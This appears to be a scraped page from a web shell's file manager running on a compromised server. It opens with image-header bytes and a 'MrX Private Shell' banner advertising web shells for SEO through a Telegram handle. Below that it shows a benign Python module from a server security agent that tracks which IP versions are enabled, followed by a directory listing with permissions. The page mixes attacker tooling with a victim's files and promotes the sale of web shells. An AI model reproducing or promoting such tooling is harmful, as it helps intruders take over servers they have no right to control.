����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
from typing import Set
from im360.utils.net import is_ipv6_enabled
from defence360agent.utils.validate import IP, IPVersion
_state = {} # type: Dict[IPVersion, bool]
def init() -> None:
global _state
_state = {IP.V4: True, IP.V6: is_ipv6_enabled()}
def enable(ip_version: IPVersion) -> None:
_state[ip_version] = True
def disable(ip_version: IPVersion) -> bool:
if ip_version == IP.V6:
_state[ip_version] = False
return True
return False
def is_enabled(ip_version: IPVersion) -> bool:
return _state[ip_version]
def enabled() -> Set[IPVersion]:
return set(k for k, v in sorted(_state.items()) if v)
def all() -> Set[IPVersion]:
return set(_state.keys())
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| firewall | Folder | 0755 |
|
|
| ipset | Folder | 0755 |
|
|
| rules | Folder | 0755 |
|
|
| __init__.py | File | 28.78 KB | 0644 |
|
| ip_versions.py | File | 716 B | 0644 |
|